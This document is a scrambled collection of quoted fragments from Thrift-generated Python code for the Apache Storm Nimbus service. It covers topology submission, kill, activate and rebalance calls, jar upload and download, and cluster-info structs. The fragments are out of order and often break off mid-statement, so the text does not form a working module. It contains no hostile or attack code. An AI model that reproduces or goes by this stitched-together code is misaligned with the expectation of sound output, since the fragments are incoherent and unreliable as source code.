ite=None,): self.e = e self.ite =", "self._processMap[\"submitTopology\"] = Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] = Processor.process_killTopology self._processMap[\"killTopologyWithOpts\"]", "class activate_result: \"\"\" Attributes: - e \"\"\" thrift_spec = (", "return not (self == other) class getUserTopology_args: \"\"\" Attributes: -", "= finishFileUpload_args() args.location = location args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_finishFileUpload(self,", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed: unknown result\"); def getUserTopology(self, id): \"\"\"", "__ne__(self, other): return not (self == other) class downloadChunk_result: \"\"\"", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopology(self, seqid, iprot, oprot): args =", "id): \"\"\" Parameters: - id \"\"\" pass def getUserTopology(self, id):", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "def recv_submitTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "result.e is not None: raise result.e return def deactivate(self, name):", "result.e = e oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "WHAT YOU ARE DOING # # options string: py #", "if self.jsonConf is not None: oprot.writeFieldBegin('jsonConf', TType.STRING, 3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd()", "None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "TMessageType.CALL, self._seqid) args = getTopologyConf_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd()", "TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed: unknown result\"); class Processor(Iface, TProcessor): def __init__(self,", "oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_downloadChunk(self, seqid, iprot,", "'uploadedJarLocation', None, None, ), # 2 (3, TType.STRING, 'jsonConf', None,", "== other.__dict__ def __ne__(self, other): return not (self == other)", "TMessageType.CALL, self._seqid) args = killTopologyWithOpts_args() args.name = name args.options =", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopology_result()", "name=None,): self.name = name def read(self, iprot): if iprot.__class__ ==", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopologyWithOpts(self, ): (fname, mtype, rseqid) =", "args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopologyWithOpts(self, ): (fname,", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = activate_result() result.read(self._iprot)", "if ftype == TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) elif", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd() def", "pass def downloadChunk(self, id): \"\"\" Parameters: - id \"\"\" pass", "x result = deactivate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not", "uploadedJarLocation - jsonConf - topology - options \"\"\" thrift_spec =", "if self.file is not None: oprot.writeFieldBegin('file', TType.STRING, 1) oprot.writeString(self.file) oprot.writeFieldEnd()", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileDownload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_result') if self.e is not None:", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args') if self.id is not None:", "def send_activate(self, name): self._oprot.writeMessageBegin('activate', TMessageType.CALL, self._seqid) args = activate_args() args.name", "self._handler.getTopologyConf(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyConf\", TMessageType.REPLY,", "['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] return", "- topology \"\"\" self.send_submitTopology(name, uploadedJarLocation, jsonConf, topology) self.recv_submitTopology() def send_submitTopology(self,", "is not None: raise result.ite return def submitTopologyWithOpts(self, name, uploadedJarLocation,", "class deactivate_args: \"\"\" Attributes: - name \"\"\" thrift_spec = (", "result = finishFileUpload_result() self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "args.read(iprot) iprot.readMessageEnd() result = activate_result() try: self._handler.activate(args.name) except NotAliveException as", "TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "None, ), # 1 ) def __init__(self, name=None,): self.name =", "oprot.writeStructBegin('rebalance_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "iprot.readMessageEnd() result = getTopologyConf_result() try: result.success = self._handler.getTopologyConf(args.id) except NotAliveException", "= jsonConf args.topology = topology args.options = options args.write(self._oprot) self._oprot.writeMessageEnd()", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd()", "failed: unknown result\"); def getClusterInfo(self, ): self.send_getClusterInfo() return self.recv_getClusterInfo() def", "return not (self == other) class deactivate_args: \"\"\" Attributes: -", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('deactivate_args') if self.name is not None: oprot.writeFieldBegin('name',", "class downloadChunk_args: \"\"\" Attributes: - id \"\"\" thrift_spec = (", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_result') if", "2: if ftype == TType.STRING: self.chunk = iprot.readString(); else: iprot.skip(ftype)", "), # 1 (2, TType.STRING, 'uploadedJarLocation', None, None, ), #", "class getTopologyInfo_args: \"\"\" Attributes: - id \"\"\" thrift_spec = (", "return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed: unknown result\"); def getClusterInfo(self,", "result = rebalance_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None:", "(self == other) class getTopologyInfo_result: \"\"\" Attributes: - success -", "- options \"\"\" pass def killTopology(self, name): \"\"\" Parameters: -", "is not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd() if self.chunk", "- location \"\"\" pass def beginFileDownload(self, file): \"\"\" Parameters: -", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() # HELPER FUNCTIONS AND STRUCTURES class submitTopology_args:", "success=None, e=None,): self.success = success self.e = e def read(self,", "x result = getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not", "\"\"\" Parameters: - name \"\"\" pass def killTopologyWithOpts(self, name, options):", "self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_result') if self.e is not None: oprot.writeFieldBegin('e',", "return def beginFileUpload(self, ): self.send_beginFileUpload() return self.recv_beginFileUpload() def send_beginFileUpload(self, ):", "self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf self._processMap[\"getTopology\"] = Processor.process_getTopology self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology def", "killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name, args.options) except NotAliveException as e: result.e =", "None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "return oprot.writeStructBegin('downloadChunk_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0)", "Parameters: - id \"\"\" pass def getUserTopology(self, id): \"\"\" Parameters:", "options=None,): self.name = name self.options = options def read(self, iprot):", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "def recv_killTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "name \"\"\" pass def rebalance(self, name, options): \"\"\" Parameters: -", "__ne__(self, other): return not (self == other) class uploadChunk_args: \"\"\"", "send_submitTopology(self, name, uploadedJarLocation, jsonConf, topology): self._oprot.writeMessageBegin('submitTopology', TMessageType.CALL, self._seqid) args =", "AlreadyAliveException as e: result.e = e except InvalidTopologyException as ite:", "TType.STRUCT: self.success = ClusterSummary() self.success.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "result = submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None:", "\"\"\" Parameters: - id \"\"\" self.send_downloadChunk(id) return self.recv_downloadChunk() def send_downloadChunk(self,", "def __ne__(self, other): return not (self == other) class killTopologyWithOpts_args:", "NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid == 2: if ftype", "- uploadedJarLocation - jsonConf - topology \"\"\" self.send_submitTopology(name, uploadedJarLocation, jsonConf,", "= name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopologyWithOpts(self,", "= topology def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "__ne__(self, other): return not (self == other) class downloadChunk_args: \"\"\"", "result = getTopologyInfo_result() try: result.success = self._handler.getTopologyInfo(args.id) except NotAliveException as", "killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e is not None: raise result.e", "\"\"\" pass def rebalance(self, name, options): \"\"\" Parameters: - name", "process_rebalance(self, seqid, iprot, oprot): args = rebalance_args() args.read(iprot) iprot.readMessageEnd() result", "result.ite is not None: raise result.ite return def beginFileUpload(self, ):", "self.send_getTopologyConf(id) return self.recv_getTopologyConf() def send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid) args", "raise x result = getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "oprot.writeFieldBegin('jsonConf', TType.STRING, 3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if self.topology is not None:", "seqid, iprot, oprot): args = submitTopology_args() args.read(iprot) iprot.readMessageEnd() result =", "not None: oprot.writeFieldBegin('jsonConf', TType.STRING, 3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if self.topology is", "(name, type, seqid) = iprot.readMessageBegin() if name not in self._processMap:", "self._handler.finishFileUpload(args.location) oprot.writeMessageBegin(\"finishFileUpload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileDownload(self, seqid,", "read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and", "if self.ite is not None: oprot.writeFieldBegin('ite', TType.STRUCT, 2) self.ite.write(oprot) oprot.writeFieldEnd()", "- chunk \"\"\" thrift_spec = ( None, # 0 (1,", "return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"downloadChunk failed: unknown result\"); def getNimbusConf(self,", "TType.STRUCT: self.success = StormTopology() self.success.read(iprot) else: iprot.skip(ftype) elif fid ==", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileDownload(self, seqid, iprot, oprot): args", "fid == 1: if ftype == TType.STRING: self.location = iprot.readString();", "args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_finishFileUpload(self, seqid,", "self.success = TopologyInfo() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1:", "not None: raise result.e if result.ite is not None: raise", "self._processMap[\"downloadChunk\"] = Processor.process_downloadChunk self._processMap[\"getNimbusConf\"] = Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"]", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result') if self.success is", "Parameters: - name \"\"\" self.send_deactivate(name) self.recv_deactivate() def send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate',", "jsonConf, topology, options) self.recv_submitTopologyWithOpts() def send_submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology,", "\"\"\" pass def killTopology(self, name): \"\"\" Parameters: - name \"\"\"", "x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopology_result()", "__init__(self, id=None,): self.id = id def read(self, iprot): if iprot.__class__", "None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() if self.options is not", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result') if self.success", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_args') if self.name is not None: oprot.writeFieldBegin('name',", "def downloadChunk(self, id): \"\"\" Parameters: - id \"\"\" self.send_downloadChunk(id) return", "__ne__(self, other): return not (self == other) class beginFileUpload_result: \"\"\"", "# # DO NOT EDIT UNLESS YOU ARE SURE THAT", "iprot.readMessageEnd() result = deactivate_result() try: self._handler.deactivate(args.name) except NotAliveException as e:", "elif fid == 4: if ftype == TType.STRUCT: self.topology =", "self.send_deactivate(name) self.recv_deactivate() def send_deactivate(self, name): self._oprot.writeMessageBegin('deactivate', TMessageType.CALL, self._seqid) args =", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args') if self.location is not None: oprot.writeFieldBegin('location',", "self.jsonConf is not None: oprot.writeFieldBegin('jsonConf', TType.STRING, 3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if", "(InvalidTopologyException, InvalidTopologyException.thrift_spec), None, ), # 2 ) def __init__(self, e=None,", "TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getUserTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "None, # 0 (1, TType.STRING, 'file', None, None, ), #", "None, ), # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None,", "= getTopologyConf_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyConf(self,", "self.ite = ite def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "not (self == other) class getUserTopology_result: \"\"\" Attributes: - success", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd()", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyConf_result') if self.success is not None: oprot.writeFieldBegin('success',", "fid == 0: if ftype == TType.STRUCT: self.success = StormTopology()", "self._oprot.trans.flush() def recv_getUserTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "beginFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileUpload_result() result.success = self._handler.beginFileUpload() oprot.writeMessageBegin(\"beginFileUpload\",", "beginFileDownload_args() args.file = file args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileDownload(self, ):", "(self == other) class killTopology_args: \"\"\" Attributes: - name \"\"\"", "Parameters: - file \"\"\" pass def downloadChunk(self, id): \"\"\" Parameters:", "== TType.STRUCT: self.success = TopologyInfo() self.success.read(iprot) else: iprot.skip(ftype) elif fid", "self.name = name self.uploadedJarLocation = uploadedJarLocation self.jsonConf = jsonConf self.topology", "# Autogenerated by Thrift Compiler (0.9.0) # # DO NOT", "= getUserTopology_result() try: result.success = self._handler.getUserTopology(args.id) except NotAliveException as e:", "oprot.writeStructBegin('downloadChunk_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id)", "topology=None, options=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation self.jsonConf =", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "except: fastbinary = None class Iface: def submitTopology(self, name, uploadedJarLocation,", "Parameters: - id \"\"\" pass def getNimbusConf(self, ): pass def", "class Iface: def submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\" Parameters:", "= handler self._processMap = {} self._processMap[\"submitTopology\"] = Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] =", "iprot.skip(ftype) elif fid == 4: if ftype == TType.STRUCT: self.topology", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getClusterInfo_result() result.read(self._iprot)", "args.location = location args.chunk = chunk args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "jsonConf - topology \"\"\" thrift_spec = ( None, # 0", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop()", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_result')", "fastbinary is not None: fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin()", "def recv_getUserTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "oprot.trans.flush() return else: self._processMap[name](self, seqid, iprot, oprot) return True def", "\"downloadChunk failed: unknown result\"); def getNimbusConf(self, ): self.send_getNimbusConf() return self.recv_getNimbusConf()", "submitTopologyWithOpts_result() try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf, args.topology, args.options) except AlreadyAliveException as", "result.read(self._iprot) self._iprot.readMessageEnd() return def finishFileUpload(self, location): \"\"\" Parameters: - location", "= options def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "success - e \"\"\" thrift_spec = ( (0, TType.STRUCT, 'success',", "not None: raise result.ite return def beginFileUpload(self, ): self.send_beginFileUpload() return", "= e except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"submitTopologyWithOpts\",", "failed: unknown result\"); def getTopologyInfo(self, id): \"\"\" Parameters: - id", "TType.STRING, 1) oprot.writeString(self.name) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def", "1: if ftype == TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else:", "not (self == other) class getTopologyInfo_result: \"\"\" Attributes: - success", "self.jsonConf = iprot.readString(); else: iprot.skip(ftype) elif fid == 4: if", "args.read(iprot) iprot.readMessageEnd() result = getNimbusConf_result() result.success = self._handler.getNimbusConf() oprot.writeMessageBegin(\"getNimbusConf\", TMessageType.REPLY,", "try: self._handler.submitTopologyWithOpts(args.name, args.uploadedJarLocation, args.jsonConf, args.topology, args.options) except AlreadyAliveException as e:", "submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): \"\"\" Parameters: - name", "oprot): args = beginFileUpload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileUpload_result() result.success", "iprot.readFieldBegin() if ftype == TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "\"\"\" pass def downloadChunk(self, id): \"\"\" Parameters: - id \"\"\"", "0 def submitTopology(self, name, uploadedJarLocation, jsonConf, topology): \"\"\" Parameters: -", "name, options): \"\"\" Parameters: - name - options \"\"\" self.send_killTopologyWithOpts(name,", "seqid, iprot, oprot) return True def process_submitTopology(self, seqid, iprot, oprot):", "== 2: if ftype == TType.STRUCT: self.options = RebalanceOptions() self.options.read(iprot)", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_finishFileUpload(self, seqid, iprot, oprot): args =", "if ftype == TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) else:", "return oprot.writeStructBegin('getTopologyConf_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1)", "getTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopology(self, ):", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args')", "other) class getNimbusConf_result: \"\"\" Attributes: - success \"\"\" thrift_spec =", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result')", "args = beginFileUpload_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileUpload(self, ): (fname,", "iprot, oprot) return True def process_submitTopology(self, seqid, iprot, oprot): args", "result.e return def activate(self, name): \"\"\" Parameters: - name \"\"\"", "return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileUpload failed: unknown result\"); def uploadChunk(self,", "is not None: return result.success if result.e is not None:", "% (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other, self.__class__)", "'name', None, None, ), # 1 (2, TType.STRUCT, 'options', (KillOptions,", "Parameters: - name \"\"\" pass def deactivate(self, name): \"\"\" Parameters:", "oprot.writeStructBegin('finishFileUpload_args') if self.location is not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location)", "location, chunk): \"\"\" Parameters: - location - chunk \"\"\" self.send_uploadChunk(location,", "if fid == 0: if ftype == TType.STRING: self.success =", "other): return not (self == other) class getClusterInfo_result: \"\"\" Attributes:", "self.success = ClusterSummary() self.success.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd()", "process_getTopologyInfo(self, seqid, iprot, oprot): args = getTopologyInfo_args() args.read(iprot) iprot.readMessageEnd() result", "ftype == TType.STOP: break if fid == 0: if ftype", "Processor.process_getTopology self._processMap[\"getUserTopology\"] = Processor.process_getUserTopology def process(self, iprot, oprot): (name, type,", "self.thrift_spec))) return oprot.writeStructBegin('submitTopology_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING,", "Processor.process_getNimbusConf self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf", "oprot.writeMessageEnd() oprot.trans.flush() def process_getUserTopology(self, seqid, iprot, oprot): args = getUserTopology_args()", "4: if ftype == TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else:", "- topology \"\"\" thrift_spec = ( None, # 0 (1,", "result.success = self._handler.getTopologyInfo(args.id) except NotAliveException as e: result.e = e", "if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise", "mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x", "topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid) args = submitTopologyWithOpts_args() args.name =", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getUserTopology(self, seqid, iprot, oprot): args", "name \"\"\" pass def deactivate(self, name): \"\"\" Parameters: - name", "not None: raise result.e return def activate(self, name): \"\"\" Parameters:", "name): \"\"\" Parameters: - name \"\"\" self.send_activate(name) self.recv_activate() def send_activate(self,", "options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopologyWithOpts(self, ): (fname, mtype, rseqid)", "= name self.uploadedJarLocation = uploadedJarLocation self.jsonConf = jsonConf self.topology =", "result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed:", "submitTopology_args() args.read(iprot) iprot.readMessageEnd() result = submitTopology_result() try: self._handler.submitTopology(args.name, args.uploadedJarLocation, args.jsonConf,", "== other) class activate_result: \"\"\" Attributes: - e \"\"\" thrift_spec", "return oprot.writeStructBegin('getTopology_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1)", "ite oprot.writeMessageBegin(\"submitTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_killTopology(self, seqid,", "raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed: unknown result\"); def getClusterInfo(self, ): self.send_getClusterInfo()", "killTopologyWithOpts_args: \"\"\" Attributes: - name - options \"\"\" thrift_spec =", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_result') if", "except InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid)", "class getTopologyConf_args: \"\"\" Attributes: - id \"\"\" thrift_spec = (", "): pass def getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\"", "ftype == TType.STRUCT: self.e = NotAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif", "if ftype == TType.STRUCT: self.success = StormTopology() self.success.read(iprot) else: iprot.skip(ftype)", "\"\"\" Attributes: - name - uploadedJarLocation - jsonConf - topology", "ite=None,): self.e = e self.ite = ite def read(self, iprot):", "None, None, ), # 1 (2, TType.STRING, 'uploadedJarLocation', None, None,", "not (self == other) class deactivate_result: \"\"\" Attributes: - e", "\"\"\" self.send_getTopologyConf(id) return self.recv_getTopologyConf() def send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf', TMessageType.CALL, self._seqid)", "== TType.STOP: break if fid == 1: if ftype ==", ") def __init__(self, success=None, e=None,): self.success = success self.e =", "self._seqid) args = killTopology_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name, args.options) except", "ftype == TType.STRING: self.uploadedJarLocation = iprot.readString(); else: iprot.skip(ftype) elif fid", "TType.STRING, 'uploadedJarLocation', None, None, ), # 2 (3, TType.STRING, 'jsonConf',", "self._oprot.trans.flush() def recv_getTopologyInfo(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "== TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "__ne__(self, other): return not (self == other) class getUserTopology_result: \"\"\"", "DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW", "oprot.writeStructBegin('killTopologyWithOpts_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot)", "killTopology_args() args.read(iprot) iprot.readMessageEnd() result = killTopology_result() try: self._handler.killTopology(args.name) except NotAliveException", "# 1 ) def __init__(self, success=None, e=None,): self.success = success", "TMessageType.CALL, self._seqid) args = submitTopology_args() args.name = name args.uploadedJarLocation =", "(NotAliveException, NotAliveException.thrift_spec), None, ), # 1 ) def __init__(self, success=None,", "return not (self == other) class getTopology_args: \"\"\" Attributes: -", "= ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()]", "killTopology_args: \"\"\" Attributes: - name \"\"\" thrift_spec = ( None,", "self._oprot.trans.flush() def recv_downloadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "uploadedJarLocation self.jsonConf = jsonConf self.topology = topology def read(self, iprot):", "return self.recv_beginFileUpload() def send_beginFileUpload(self, ): self._oprot.writeMessageBegin('beginFileUpload', TMessageType.CALL, self._seqid) args =", "uploadedJarLocation - jsonConf - topology \"\"\" thrift_spec = ( None,", "ftype == TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) elif fid", "self.e = AlreadyAliveException() self.e.read(iprot) else: iprot.skip(ftype) elif fid == 2:", "== other) class getTopologyInfo_result: \"\"\" Attributes: - success - e", "__init__(self, success=None, e=None,): self.success = success self.e = e def", "): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid) args = getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "TType.STRUCT: self.options = KillOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "result.e = e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "getClusterInfo(self, ): pass def getTopologyInfo(self, id): \"\"\" Parameters: - id", "= beginFileDownload_result() result.success = self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "result.e is not None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopologyInfo failed:", "None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\" pass def downloadChunk(self,", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_result') if self.success", 